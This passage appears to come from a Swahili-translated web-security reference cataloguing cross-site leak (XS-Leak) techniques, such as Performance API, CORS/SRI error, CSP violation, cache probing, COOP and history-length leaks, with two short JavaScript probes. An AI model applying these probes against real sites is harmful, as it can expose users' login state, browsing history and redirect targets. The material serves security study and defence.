- Muhtasari: Kwa kutumia XSS Auditor katika Uthibitishaji wa Usalama, wadukuzi wanaweza kugundua vipengele maalum vya ukurasa kwa kuchunguza mabadiliko katika majibu wakati mzigo ulioandaliwa unachochea mfumo wa kuchuja wa mtihani wa auditor.
- Mfano wa Kodi: https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak
Katika Uthibitishaji wa Usalama (SA), XSS Auditor, awali iliyokusudiwa kuzuia mashambulizi ya Kuvuka-Tovuti (XSS), inaweza kwa kushangaza kutumika kuvuja taarifa nyeti. Ingawa kipengele hiki kilichojengwa kimeondolewa kutoka Google Chrome (GC), bado ipo katika SA. Mwaka 2013, Braun na Heiderich walidhihirisha kuwa XSS Auditor inaweza kwa bahati mbaya kuzuia hati halali, ikiongoza kwa matokeo sahihi ya uwongo. Kujenga juu ya hili, watafiti walitengeneza mbinu za kutoa taarifa na kugundua yaliyomo maalum kwenye kurasa za asili tofauti, dhana inayoitwa XS-Leaks, iliyoripotiwa awali na Terada na kufafanuliwa na Heyes katika chapisho la blogu. Ingawa mbinu hizi zilikuwa maalum kwa XSS Auditor katika GC, iligundulika kwamba katika SA, kurasa zilizozuiwa na XSS Auditor hazizalishi kuingizwa katika API ya Utendaji, kufunua njia ambayo taarifa nyeti bado inaweza kuvuja.
Kuvuja kwa X-Frame
- Njia za Kujumuishwa: Fremu
- Tofauti Inayoweza Kugundulika: Kichwa
- Maelezo Zaidi: https://xsinator.com/paper.pdf (5.2), https://xsleaks.github.io/xsleaks/examples/x-frame/index.html, https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-x-frame-options
- Muhtasari: Rasilmali yenye kichwa cha X-Frame-Options haisababishi kuingizwa kwa wakati wa rasilmali.
- Mfano wa Kodi: https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak
Ikiwa ukurasa haikubali kurekebishwa katika fremu haisababishi kuingizwa kwa utendaji. Kama matokeo, mshambuliaji anaweza kugundua kichwa cha majibu X-Frame-Options
.
Hali kama hiyo hutokea ikiwa unatumia lebo ya kuingiza.
Uchunguzi wa Upakuzi
- Njia za Kujumuishwa: Fremu
- Tofauti Inayoweza Kugundulika: Kichwa
- Maelezo Zaidi: https://xsinator.com/paper.pdf (5.2)
- Muhtasari: Upakuzi hauzalishi kuingizwa kwa wakati wa rasilmali katika API ya Utendaji.
- Mfano wa Kodi: https://xsinator.com/testing.html#Performance%20API%20Download%20Detection
Kama ilivyoelezwa katika XS-Leak, rasilmali inayopakuliwa kwa sababu ya kichwa cha ContentDisposition, pia haizalishi kuingizwa kwa utendaji. Mbinu hii inafanya kazi katika vivinjari vyote vikuu.
Kuanza Kuelekeza Kuvuja
- Njia za Kuingiza: Fremu
- Tofauti Inayoweza Kugundulika: Kuelekeza
- Maelezo Zaidi: https://xsinator.com/paper.pdf (5.2)
- Muhtasari: Kuingia kwa wakati wa rasilimali hufichua wakati wa kuanza kwa kuelekeza.
- Mfano wa Kanuni: https://xsinator.com/testing.html#Redirect%20Start%20Leak
Tulipata kisa kimoja cha XS-Leak kinachotumia tabia ya baadhi ya vivinjari ambavyo hurekodi maelezo mengi sana kwa maombi ya asili tofauti. Kiwango kinadefini sehemu ya sifa ambazo zinapaswa kuwekwa kama sifuri kwa rasilimali za asili tofauti. Hata hivyo, katika SA inawezekana kugundua ikiwa mtumiaji ameelekezwa na ukurasa wa lengo, kwa kuuliza API ya Utendaji na kuangalia data ya wakati wa kuanza kwa kuelekeza.
Kuelekeza Kuvuja Kwa Muda
- Njia za Kuingiza: API ya Kupata
- Tofauti Inayoweza Kugundulika: Kuelekeza
- Maelezo Zaidi: https://xsinator.com/paper.pdf (5.2)
- Muhtasari: Muda wa kuingia wa wakati unakuwa hasi wakati kuelekeza kunatokea.
- Mfano wa Kanuni: https://xsinator.com/testing.html#Duration%20Redirect%20Leak
Katika GC, muda wa maombi ambayo husababisha kuelekeza ni hasi na hivyo inaweza kutofautishwa na maombi ambayo hayasababishi kuelekeza.
Kuvuja kwa CORP
- Njia za Kuingiza: Fremu
- Tofauti Inayoweza Kugundulika: Kichwa
- Maelezo Zaidi: https://xsinator.com/paper.pdf (5.2)
- Muhtasari: Rasilimali zilizolindwa na CORP haziumbi viingilio vya wakati wa rasilimali.
- Mfano wa Kanuni: https://xsinator.com/testing.html#Performance%20API%20CORP%20Leak
Katika baadhi ya kesi, kuingia cha nextHopProtocol kinaweza kutumika kama mbinu ya kuvuja. Katika GC, wakati kichwa cha CORP kinawekwa, nextHopProtocol itakuwa tupu. Tafadhali kumbuka kuwa SA haitaumba kuingilio cha utendaji kabisa kwa rasilimali zilizo na CORP.
Mfanyakazi wa Huduma
- Njia za Kuingiza: Fremu
- Tofauti Inayoweza Kugundulika: Matumizi ya API
- Maelezo Zaidi: https://www.ndss-symposium.org/ndss-paper/awakening-the-webs-sleeper-agents-misusing-service-workers-for-privacy-leakage/
- Muhtasari: Kugundua ikiwa mfanyakazi wa huduma amesajiliwa kwa asili fulani.
- Mfano wa Kanuni:
Mafanyakazi wa huduma ni muktadha wa skripti ulioendeshwa na matukio unaofanya kazi kwa asili. Hufanya kazi nyuma ya ukurasa wa wavuti na wanaweza kuingilia, kubadilisha, na kukusanya rasilimali ili kuunda programu ya wavuti ya nje ya mtandao.
Ikiwa rasilimali iliyohifadhiwa na mfanyakazi wa huduma inafikiwa kupitia fremu, rasilimali itapakiwa kutoka kwa hifadhi ya mfanyakazi wa huduma.
Ili kugundua ikiwa rasilimali ilipakiwa kutoka kwa hifadhi ya mfanyakazi wa huduma inaweza kutumika API ya Utendaji.
Hii pia inaweza kufanywa na shambulio la Wakti (angalia karatasi kwa maelezo zaidi).
Hifadhi
- Njia za Kuingiza: API ya Kupata
- Tofauti Inayoweza Kugundulika: Wakti
- Maelezo Zaidi: https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources
- Muhtasari: Inawezekana kuchunguza ikiwa rasilimali ilihifadhiwa kwenye hifadhi.
- Mfano wa Kanuni: https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources, https://xsinator.com/testing.html#Cache%20Leak%20(POST)
Kwa kutumia API ya Utendaji inawezekana kuchunguza ikiwa rasilimali imehifadhiwa.
Muda wa Mtandao
- Njia za Kuingiza: API ya Kupata
- Tofauti Inayoweza Kugundulika: Yaliyomo ya Ukurasa
- Maelezo Zaidi: https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration
- Muhtasari: Inawezekana kupata muda wa mtandao wa ombi kutoka kwa API ya
utendaji
. - Mfano wa Kanuni: https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration
Mbinu ya Ujumbe wa Hitilafu
Hitilafu ya Vyombo vya Habari
- Njia za Kuingiza: Vipengele vya HTML (Video, Sauti)
- Tofauti Inayoweza Kugundulika: Kodi ya Hali
- Maelezo Zaidi: https://bugs.chromium.org/p/chromium/issues/detail?id=828265
- Muhtasari: Katika Firefox inawezekana kuvuja kwa usahihi wa Kodi ya Hali ya ombi la asili tofauti.
- Mfano wa Kanuni: https://jsbin.com/nejatopusi/1/edit?html,css,js,output
// Code saved here in case it dissapear from the link
// Based on MDN MediaError example: https://mdn.github.io/dom-examples/media/mediaerror/
window.addEventListener("load", startup, false);
function displayErrorMessage(msg) {
document.getElementById("log").innerHTML += msg;
}
function startup() {
let audioElement = document.getElementById("audio");
// "https://mdn.github.io/dom-examples/media/mediaerror/assets/good.mp3";
document.getElementById("startTest").addEventListener("click", function() {
audioElement.src = document.getElementById("testUrl").value;
}, false);
// Create the event handler
var errHandler = function() {
let err = this.error;
let message = err.message;
let status = "";
// Chrome error.message when the request loads successfully: "DEMUXER_ERROR_COULD_NOT_OPEN: FFmpegDemuxer: open context failed"
// Firefox error.message when the request loads successfully: "Failed to init decoder"
if((message.indexOf("DEMUXER_ERROR_COULD_NOT_OPEN") != -1) || (message.indexOf("Failed to init decoder") != -1)){
status = "Success";
}else{
status = "Error";
}
displayErrorMessage("<strong>Status: " + status + "</strong> (Error code:" + err.code + " / Error Message: " + err.message + ")<br>");
};
audioElement.onerror = errHandler;
}
CORS Kosa
- Njia za Kuingiza: Fetch API
- Tofauti Inayoweza Kugundulika: Kichwa
- Maelezo Zaidi: https://xsinator.com/paper.pdf (5.3)
- Muhtasari: Katika Madai ya Usalama (SA), ujumbe wa kosa wa CORS huweka wazi URL kamili ya maombi yaliyopewa mwelekeo.
- Mfano wa Kanuni: https://xsinator.com/testing.html#CORS%20Error%20Leak
Mbinu hii inamwezesha muhusika kuchimba mahali pa marudio ya kuelekeza kwa tovuti ya mwelekeo wa msalaba kwa kutumia jinsi vivinjari vilivyotengenezwa kwa Webkit vinavyoshughulikia maombi ya CORS. Hasa, wakati maombi yenye uwezo wa CORS yanatumwa kwa tovuti ya lengo ambayo inatoa mwelekeo kulingana na hali ya mtumiaji na kivinjari kisha kukataa maombi, URL kamili ya marudio ya kuelekeza inafunuliwa ndani ya ujumbe wa kosa. Udhaifu huu si tu unafunua ukweli wa kuelekeza bali pia unafichua mwisho wa kuelekeza na parameta nyeti za utafutaji inaweza kuwa nayo.
Kosa la SRI
- Njia za Kuingiza: Fetch API
- Tofauti Inayoweza Kugundulika: Kichwa
- Maelezo Zaidi: https://xsinator.com/paper.pdf (5.3)
- Muhtasari: Katika Madai ya Usalama (SA), ujumbe wa kosa wa CORS huweka wazi URL kamili ya maombi yaliyopewa mwelekeo.
- Mfano wa Kanuni: https://xsinator.com/testing.html#SRI%20Error%20Leak
Mtu anaweza kutumia ujumbe mrefu wa kosa kudokeza ukubwa wa majibu ya msalaba. Hii inawezekana kutokana na mbinu ya Uadilifu wa Rasilimali ya Pembejeo (SRI), ambayo hutumia sifa ya uadilifu kuthibitisha kwamba rasilimali zilizopatikana, mara nyingi kutoka kwa CDNs, hazijabadilishwa. Ili SRI ifanye kazi kwenye rasilimali za msalaba, hizi lazima ziwe zilizowezeshwa na CORS; vinginevyo, hazitahusishwa na ukaguzi wa uadilifu. Katika Madai ya Usalama (SA), kama kosa la XS-Leak la CORS, ujumbe wa kosa unaweza kukamatwa baada ya ombi la kupakua na sifa ya uadilifu linaposhindwa. Wadukuzi wanaweza kwa makusudi kuzua kosa hili kwa kutoa thamani bandia ya hash kwa sifa ya uadilifu ya ombi lolote. Katika SA, ujumbe wa kosa unaofuata kwa bahati mbaya unafunua urefu wa yaliyomo kwenye rasilimali iliyotakiwa. Kuvuja kwa habari hii kuruhusu muhusika kutambua tofauti katika ukubwa wa majibu, kufungua njia kwa mashambulizi ya XS-Leak yenye utata.
Uvunjaji/Deteksheni wa CSP
- Njia za Kuingiza: Pop-ups
- Tofauti Inayoweza Kugundulika: Nambari ya Hali
- Maelezo Zaidi: https://bugs.chromium.org/p/chromium/issues/detail?id=313737, https://lists.w3.org/Archives/Public/public-webappsec/2013May/0022.html, https://xsleaks.dev/docs/attacks/navigations/#cross-origin-redirects
- Muhtasari: Kwa kuruhusu tovuti ya waathiriwa tu katika CSP ikiwa tunaijaribu kuelekeza kwa kikoa tofauti CSP itazindua kosa linaloweza kugundulika.
- Mfano wa Kanuni: https://xsinator.com/testing.html#CSP%20Violation%20Leak, https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation
XS-Leak inaweza kutumia CSP kugundua ikiwa tovuti ya msalaba ilielekezwa kwa asili tofauti. Kuvuja hii inaweza kugundua kuelekeza, lakini kwa kuongezea, kikoa cha marudio cha kuelekeza kinavuja. Wazo msingi la shambulio hili ni kuruhusu kikoa cha lengo kwenye tovuti ya muhusika. Mara tu ombi linatolewa kwa kikoa cha lengo, linaelekeza kwa kikoa cha msalaba. CSP inazuia upatikanaji wake na kuunda ripoti ya uvunjaji inayotumiwa kama mbinu ya kuvuja. Kulingana na kivinjari, ripoti hii inaweza kufichua mahali pa marudio ya kuelekeza.
Vivinjari vya kisasa havitaonyesha URL ilielekezwa kwenda, lakini bado unaweza kugundua kwamba kuelekeza kwa msalaba wa asili ulisababishwa.
Akiba
- Njia za Kuingiza: Fremu, Pop-ups
- Tofauti Inayoweza Kugundulika: Yaliyomo kwenye Ukurasa
- Maelezo Zaidi: https://xsleaks.dev/docs/attacks/cache-probing/#cache-probing-with-error-events, https://sirdarckcat.blogspot.com/2019/03/http-cache-cross-site-leaks.html
- Muhtasari: Ondoa faili kutoka kwa akiba. Fungua ukurasa wa lengo angalia ikiwa faili iko kwenye akiba.
- Mfano wa Kanuni:
Vivinjari vinaweza kutumia akiba moja ya pamoja kwa tovuti zote. Bila kujali asili yao, inawezekana kudai ikiwa ukurasa wa lengo umetaka faili maalum.
Ikiwa ukurasa unapakia picha tu ikiwa mtumiaji ameingia, unaweza kufuta rasilimali (hivyo haipo tena kwenye akiba ikiwa ilikuwepo, angalia viungo vya maelezo zaidi), fanya ombi ambalo lingeweza kupakia rasilimali hiyo na jaribu kupakia rasilimali kwa ombi baya (k.m. kutumia kichwa cha kurejelea kirefu). Ikiwa kupakia rasilimali hakusababishi kosa lolote, ni kwa sababu ilikuwa imehifadhiwa.
Mwongozo wa CSP
- Njia za Kuingiza: Fremu
- Tofauti Inayoweza Kugundulika: Kichwa
- Maelezo Zaidi: https://bugs.chromium.org/p/chromium/issues/detail?id=1105875
- Muhtasari: Mwongozo wa kichwa cha CSP unaweza kuchunguzwa kwa kutumia sifa ya fremu ya CSP, ikifunua maelezo ya sera.
- Mfano wa Kanuni: https://xsinator.com/testing.html#CSP%20Directive%20Leak
Kipengele kipya katika Google Chrome (GC) kuruhusu kurasa za wavuti kupendekeza Sera ya Usalama wa Yaliyomo (CSP) kwa kuweka sifa kwenye kipengele cha fremu, na maelekezo ya sera yaliyotumwa pamoja na ombi la HTTP. Kawaida, yaliyomo yaliyowekwa lazima idhinishe hii kupitia kichwa cha HTTP, au ukurasa wa kosa utaonyeshwa. Walakini, ikiwa fremu tayari inatawaliwa na CSP na sera mpya iliyopendekezwa sio ngumu zaidi, ukurasa utapakia kawaida. Mbinu hii inafungua njia kwa muhusika kugundua maagizo maalum ya CSP ya ukurasa wa msalaba kwa kutambua ukurasa wa kosa. Ingawa udhaifu huu ulitambuliwa kama umetatuliwa, ugunduzi wetu unaonyesha mtego mpya wa kuvuja unaoweza kugundua ukurasa wa kosa, ikionyesha kuwa tatizo la msingi halijatatuliwa kabisa.
CORP
- Njia za Kuingiza: Fetch API
- Tofauti Inayoweza Kugundulika: Kichwa
- Maelezo Zaidi: https://xsleaks.dev/docs/attacks/browser-features/corp/
- Muhtasari: Rasilimali zilizolindwa na Sera ya Rasilimali ya Pembejeo ya Msalaba (CORP) zitatoa kosa wakati zinapopakuliwa kutoka asili isiyoruhusiwa.
- Mfano wa Kanuni: https://xsinator.com/testing.html#CORP%20Leak
Kichwa cha CORP ni kipengele cha usalama cha jukwaa la wavuti lenye umri mdogo ambacho wakati wa kuweka inazuia maombi ya msalaba ya no-cors kwa rasilimali iliyotolewa. Uwepo wa kichwa unaweza kugunduliwa, kwa sababu rasilimali iliyolindwa na CORP itatoa kosa wakati inapopakuliwa.
CORB
- Njia za Kuingiza: Vitu vya HTML
- Tofauti Inayoweza Kugundulika: Vichwa vya Habari
- Maelezo Zaidi: https://xsleaks.dev/docs/attacks/browser-features/corb/#detecting-the-nosniff-header
- Muhtasari: CORB inaweza kuruhusu wachomaji kugundua wakati kichwa cha
nosniff
kipo katika ombi. - Mfano wa Kanuni: https://xsinator.com/testing.html#CORB%20Leak
Angalia kiungo kwa maelezo zaidi kuhusu shambulio.
Hitilafu ya CORS kwenye Mipangilio Mibaya ya Kutafakari Asili
- Njia za Kuingiza: Fetch API
- Tofauti Inayoweza Kugundulika: Vichwa vya Habari
- Maelezo Zaidi: https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration
- Muhtasari: Ikiwa kichwa cha Asili kinarudishwa katika kichwa cha
Access-Control-Allow-Origin
inawezekana kuchunguza ikiwa rasilimali tayari iko kwenye cache. - Mfano wa Kanuni: https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration
Katika kesi ambapo kichwa cha Asili kinarejeshwa katika kichwa cha Access-Control-Allow-Origin
, mchomaji anaweza kutumia tabia hii kujaribu kupata rasilimali katika hali ya CORS. Ikiwa hitilafu haikutolewa, inamaanisha kwamba ilikuwa imepatikana kwa usahihi kutoka kwenye wavuti, ikiwa hitilafu inatokea, ni kwa sababu ilikuwa imefikiwa kutoka kwenye cache (hitilafu inaonekana kwa sababu cache inahifadhi jibu lenye kichwa cha CORS kuruhusu kikoa cha asili na sio kikoa cha mchomaji).
Tafadhali kumbuka kwamba ikiwa asili hairejeshwi lakini alama ya joker inatumika (Access-Control-Allow-Origin: *
) hii haitafanya kazi.
Mbinu ya Atributi Inayoweza Kusomwa
Ufikiaji wa Upya wa Fetch
- Njia za Kuingiza: Fetch API
- Tofauti Inayoweza Kugundulika: Kodi ya Hali
- Maelezo Zaidi: https://web-in-security.blogspot.com/2021/02/security-and-privacy-of-social-logins-part3.html
- Muhtasari: GC na SA huruhusu kuchunguza aina ya jibu (opaqueredirect) baada ya upya umekamilika.
- Mfano wa Kanuni: https://xsinator.com/testing.html#Fetch%20Redirect%20Leak
Kwa kutuma ombi kwa kutumia Fetch API na redirect: "manual"
na vigezo vingine, inawezekana kusoma sifa ya response.type
na ikiwa ni sawa na opaqueredirect
basi jibu lilikuwa upya.
COOP
- Njia za Kuingiza: Pop-ups
- Tofauti Inayoweza Kugundulika: Kichwa
- Maelezo Zaidi: https://xsinator.com/paper.pdf (5.4), https://xsleaks.dev/docs/attacks/window-references/
- Muhtasari: Kurasa zilizolindwa na Sera ya Kufungua Msanidi wa Asili (COOP) zinazuia ufikiaji kutoka kwa mwingiliano wa asili tofauti.
- Mfano wa Kanuni: https://xsinator.com/testing.html#COOP%20Leak
Mchomaji anaweza kugundua uwepo wa kichwa cha Sera ya Kufungua Msanidi wa Asili (COOP) katika jibu la HTTP la asili tofauti. COOP hutumiwa na programu za wavuti kuzuia tovuti za nje kupata marejeleo ya dirisha kiholela. Uonekano wa kichwa hiki unaweza kugunduliwa kwa kujaribu kupata marejeleo ya contentWindow
. Katika hali ambapo COOP inatumika kwa hiari, mali ya opener
inakuwa ishara ya wazi: ni isiyofafanuliwa wakati COOP inafanya kazi, na imefafanuliwa ikiwa haipo.
Urefu Mdogo wa URL - Upande wa Seva
- Njia za Kuingiza: Fetch API, Vitu vya HTML
- Tofauti Inayoweza Kugundulika: Kodi ya Hali / Yaliyomo
- Maelezo Zaidi: https://xsleaks.dev/docs/attacks/navigations/#server-side-redirects
- Muhtasari: Kugundua tofauti katika majibu kwa sababu ya urefu wa majibu ya upya unaweza kuwa mkubwa sana hivi kwamba seva inajibu na kosa na tahadhari inazalishwa.
- Mfano wa Kanuni: https://xsinator.com/testing.html#URL%20Max%20Length%20Leak
Ikiwa upya wa upande wa seva unatumia mipangilio ya mtumiaji ndani ya upya na data ziada. Inawezekana kugundua tabia hii kwa sababu kawaida seva ina kikomo cha urefu wa ombi. Ikiwa data ya mtumiaji ni urefu huo - 1, kwa sababu upya unatumia data hiyo na kuongeza kitu ziada, itasababisha kosa linaloweza kugunduliwa kupitia Matukio ya Kosa.
Ikiwa kwa namna fulani unaweza kuweka vidakuzi kwa mtumiaji, unaweza pia kufanya shambulio hili kwa kuweka vidakuzi vya kutosha (bomu la kuki) ili kwa ukubwa uliongezeka wa majibu sahihi kosa litasababishwa. Katika kesi hii, kumbuka kwamba ukianzisha ombi hili kutoka kwenye tovuti ile ile, <script>
itatuma vidakuzi kiotomatiki (hivyo unaweza kuchunguza makosa).
Mfano wa bomu la kuki + XS-Search unaweza kupatikana katika suluhisho lililokusudiwa la andishi hili: https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended
SameSite=None
au kuwa katika muktadha sawa kawaida inahitajika kwa aina hii ya shambulio.
Urefu Mdogo wa URL - Upande wa Mteja
- Njia za Kuingiza: Pop-ups
- Tofauti Inayoweza Kugundulika: Kodi ya Hali / Yaliyomo
- Maelezo Zaidi: https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit
- Muhtasari: Kugundua tofauti katika majibu kwa sababu ya urefu wa majibu ya upya unaweza kuwa mkubwa sana hivi kwamba tofauti inaweza kugunduliwa.
- Mfano wa Kanuni: https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit
Kulingana na hati ya Chromium, Urefu wa URL wa Chrome ni 2MB.
Kwa ujumla, jukwaa la wavuti halina mipaka kuhusu urefu wa URL (ingawa 2^31 ni kawaida). Chrome inapunguza URL hadi urefu wa juu wa 2MB kwa sababu za vitendo na kuepuka kusababisha matatizo ya kukataa huduma katika mawasiliano ya mchakato kwa mchakato.
Kwa hivyo ikiwa URL ya upya iliyojibiwa ni kubwa katika moja ya kesi, inawezekana kuifanya iweke upya na URL kubwa kuliko 2MB ili kugonga kikomo cha urefu. Wakati hii inatokea, Chrome inaonyesha ukurasa wa about:blank#blocked
.
Tofauti inayoweza kugundulika, ni kwamba ikiwa upya ulikamilika, window.origin
itatoa kosa kwa sababu asili ya msalaba haiwezi kupata habari hiyo. Walakini, ikiwa kikomo kilipigwa na ukurasa uliopakiwa ulikuwa about:blank#blocked
asili ya dirisha origin
inabaki ile ile ya mzazi, ambayo ni habari inayopatikana.
Maelezo yote ya ziada yanayohitajika kufikia 2MB yanaweza kuongezwa kupitia hash katika URL ya awali ili itumike katika upya.
{% content-ref url="url-max-length-client-side.md" %} url-max-length-client-side.md {% endcontent-ref %}
Mipokezi ya Mwisho
- Njia za Kuingiza: Kupata API, Fremu
- Tofauti Inayoweza Kugundulika: Msimbo wa Hali
- Maelezo Zaidi: https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.g63edc858f3_0_76
- Muhtasari: Tumia kikomo cha upokezi cha kivinjari kuthibitisha kutokea kwa upokezi wa URL.
- Mfano wa Msimbo: https://xsinator.com/testing.html#Max%20Redirect%20Leak
Ikiwa kiwango cha mipokezi ya kufuata ya kivinjari ni 20, mshambuliaji anaweza kujaribu kupakia ukurasa wake na mipokezi 19 na hatimaye kupeleka mhanga kwenye ukurasa uliojaribiwa. Ikiwa kosa linasababishwa, basi ukurasa ulikuwa unajaribu kumwongoza mhanga.
Urefu wa Historia
- Njia za Kuingiza: Fremu, Pop-ups
- Tofauti Inayoweza Kugundulika: Mipokezi
- Maelezo Zaidi: https://xsleaks.dev/docs/attacks/navigations/
- Muhtasari: Msimbo wa JavaScript unabadilisha historia ya kivinjari na inaweza kupatikana kwa mali ya urefu.
- Mfano wa Msimbo: https://xsinator.com/testing.html#History%20Length%20Leak
API ya Historia inaruhusu msimbo wa JavaScript kubadilisha historia ya kivinjari, ambayo inaokoa kurasa zilizotembelewa na mtumiaji. Mshambuliaji anaweza kutumia mali ya urefu kama njia ya kuingiza: kugundua upelelezi wa JavaScript na HTML.
Kukagua history.length
, kufanya mtumiaji atembee kwenye ukurasa, uibadilishe kurudi kwa asili ile ile na kukagua thamani mpya ya history.length
.
Urefu wa Historia na URL sawa
- Njia za Kuingiza: Fremu, Pop-ups
- Tofauti Inayoweza Kugundulika: Ikiwa URL ni ile ile kama ile iliyoguiliwa
- Muhtasari: Inawezekana kudhani ikiwa eneo la fremu/popup liko kwenye URL maalum kwa kutumia vibaya urefu wa historia.
- Mfano wa Msimbo: Chini
Mshambuliaji anaweza kutumia msimbo wa JavaScript kubadilisha eneo la fremu/popup hadi moja iliyoguiliwa na mara moja kuibadilisha kuwa about:blank
. Ikiwa urefu wa historia uliongezeka inamaanisha URL ilikuwa sahihi na ilikuwa na wakati wa kuongezeka kwa sababu URL haijapakiwa upya ikiwa ni ile ile. Ikiwa haukuongezeka inamaanisha ilijaribu kupakia URL iliyoguiliwa lakini kwa sababu tulibadilisha mara moja kuwa about:blank
, urefu wa historia haukuongezeka kamwe wakati wa kupakia URL iliyoguiliwa.
async function debug(win, url) {
win.location = url + '#aaa';
win.location = 'about:blank';
await new Promise(r => setTimeout(r, 500));
return win.history.length;
}
win = window.open("https://example.com/?a=b");
await new Promise(r => setTimeout(r, 2000));
console.log(await debug(win, "https://example.com/?a=c"));
win.close();
win = window.open("https://example.com/?a=b");
await new Promise(r => setTimeout(r, 2000));
console.log(await debug(win, "https://example.com/?a=b"));
Hesabu ya Fremu
- Njia za Kuingiza: Fremu, Pop-ups
- Tofauti Inayoweza Kugundulika: Yaliyomo kwenye Ukurasa
- Maelezo Zaidi: https://xsleaks.dev/docs/attacks/frame-counting/
- Muhtasari: Thibitisha idadi ya vipengele vya iframe kwa kupekua mali ya
window.length
. - Mfano wa Kanuni: https://xsinator.com/testing.html#Frame%20Count%20Leak
Kuhesabu idadi ya fremu katika wavuti iliyofunguliwa kupitia iframe
au window.open
inaweza kusaidia kutambua hali ya mtumiaji kwenye ukurasa huo.
Zaidi ya hayo, ikiwa ukurasa una idadi ile ile ya fremu daima, kuangalia kwa mfululizo idadi ya fremu kunaweza kusaidia kutambua mtindo ambao unaweza kufichua habari.
Mfano wa mbinu hii ni kwamba katika chrome, PDF inaweza kugunduliwa kwa kutumia hesabu ya fremu kwa sababu embed
hutumiwa ndani. Kuna Parameta za URL Zilizofunguliwa ambazo huruhusu udhibiti fulani juu ya yaliyomo kama vile zoom
, view
, page
, toolbar
ambapo mbinu hii inaweza kuwa ya kuvutia.
HTMLElements
- Njia za Kuingiza: Vipengele vya HTML
- Tofauti Inayoweza Kugundulika: Yaliyomo kwenye Ukurasa
- Maelezo Zaidi: https://xsleaks.dev/docs/attacks/element-leaks/
- Muhtasari: Soma thamani iliyovuja kutofautisha kati ya hali 2 zinazowezekana
- Mfano wa Kanuni: https://xsleaks.dev/docs/attacks/element-leaks/, https://xsinator.com/testing.html#Media%20Dimensions%20Leak, https://xsinator.com/testing.html#Media%20Duration%20Leak
Uvujaji wa habari kupitia vipengele vya HTML ni wasiwasi katika usalama wa wavuti, hasa wakati faili za media za kudumu zinazozalishwa kulingana na habari ya mtumiaji, au wakati alama za maji zinaongezwa, kubadilisha saizi ya media. Hii inaweza kutumiwa na wachomaji kufautisha kati ya hali zinazowezekana kwa kuchambua habari inayofichuliwa na vipengele fulani vya HTML.
Habari Inayofichuliwa na Vipengele vya HTML
- HTMLMediaElement: Kipengele hiki hufichua nyakati za
duration
nabuffered
za media, ambazo zinaweza kupatikana kupitia API yake. Soma zaidi kuhusu HTMLMediaElement - HTMLVideoElement: Hufichua
videoHeight
navideoWidth
. Katika vivinjari fulani, mali za ziada kama vilewebkitVideoDecodedByteCount
,webkitAudioDecodedByteCount
, nawebkitDecodedFrameCount
zinapatikana, zikitoa habari zaidi kuhusu yaliyomo kwenye media. Soma zaidi kuhusu HTMLVideoElement - getVideoPlaybackQuality(): Kazi hii hutoa maelezo kuhusu ubora wa kucheza video, ikiwa ni pamoja na
totalVideoFrames
, ambayo inaweza kuonyesha kiasi cha data ya video iliyosindika. Soma zaidi kuhusu getVideoPlaybackQuality() - HTMLImageElement: Kipengele hiki hufichua
height
nawidth
ya picha. Hata hivyo, ikiwa picha ni batili, mali hizi zitarudi 0, na kazi yaimage.decode()
itakataliwa, ikionyesha kushindwa kupakia picha ipasavyo. Soma zaidi kuhusu HTMLImageElement
Mali ya CSS
- Njia za Kuingiza: Vipengele vya HTML
- Tofauti Inayoweza Kugundulika: Yaliyomo kwenye Ukurasa
- Maelezo Zaidi: https://xsleaks.dev/docs/attacks/element-leaks/#abusing-getcomputedstyle, https://scarybeastsecurity.blogspot.com/2008/08/cross-domain-leaks-of-site-logins.html
- Muhtasari: Tambua mabadiliko katika mtindo wa wavuti yanayolingana na hali au hadhi ya mtumiaji.
- Mfano wa Kanuni: https://xsinator.com/testing.html#CSS%20Property%20Leak
Maombi ya wavuti yanaweza kubadilisha mtindo wa wavuti kulingana na hali ya mtumiaji. Faili za CSS za asili zinaweza kuingizwa kwenye ukurasa wa mshambuliaji kwa kutumia kipengele cha kiungo cha HTML, na kanuni zitatumika kwenye ukurasa wa mshambuliaji. Ikiwa ukurasa unabadilisha kanuni hizi kwa kudai, mshambuliaji anaweza kugundua tofauti hizi kulingana na hali ya mtumiaji.
Kama mbinu ya uvujaji, mshambuliaji anaweza kutumia mbinu ya window.getComputedStyle
kusoma mali za CSS za kipengele maalum cha HTML. Kama matokeo, mshambuliaji anaweza kusoma mali za CSS za kupindukia ikiwa kipengele kilichoathiriwa na jina la mali kinajulikana.
Historia ya CSS
- Njia za Kuingiza: Vipengele vya HTML
- Tofauti Inayoweza Kugundulika: Yaliyomo kwenye Ukurasa
- Maelezo Zaidi: https://xsleaks.dev/docs/attacks/css-tricks/#retrieving-users-history
- Muhtasari: Gudua ikiwa mtindo wa
:visited
umetumika kwa URL kuonyesha kuwa tayari imepitiwa - Mfano wa Kanuni: http://blog.bawolff.net/2021/10/write-up-pbctf-2021-vault.html
{% hint style="info" %} Kulingana na hii, hii haifanyi kazi katika Chrome isiyo na kichwa. {% endhint %}
Mchaguo wa CSS :visited
hutumiwa kuweka mitindo tofauti kwa URL ikiwa tayari imepitiwa na mtumiaji. Zamani, mbinu ya getComputedStyle()
ingeweza kutumika kutambua tofauti hizi za mtindo. Hata hivyo, vivinjari vya kisasa vimechukua hatua za usalama kuzuia mbinu hii kufichua hali ya kiungo. Hatua hizi ni pamoja na kurudisha mtindo uliohesabiwa kila wakati kana kwamba kiungo kimepitiwa na kuzuia mitindo inayoweza kutumika na mchaguo wa :visited
.
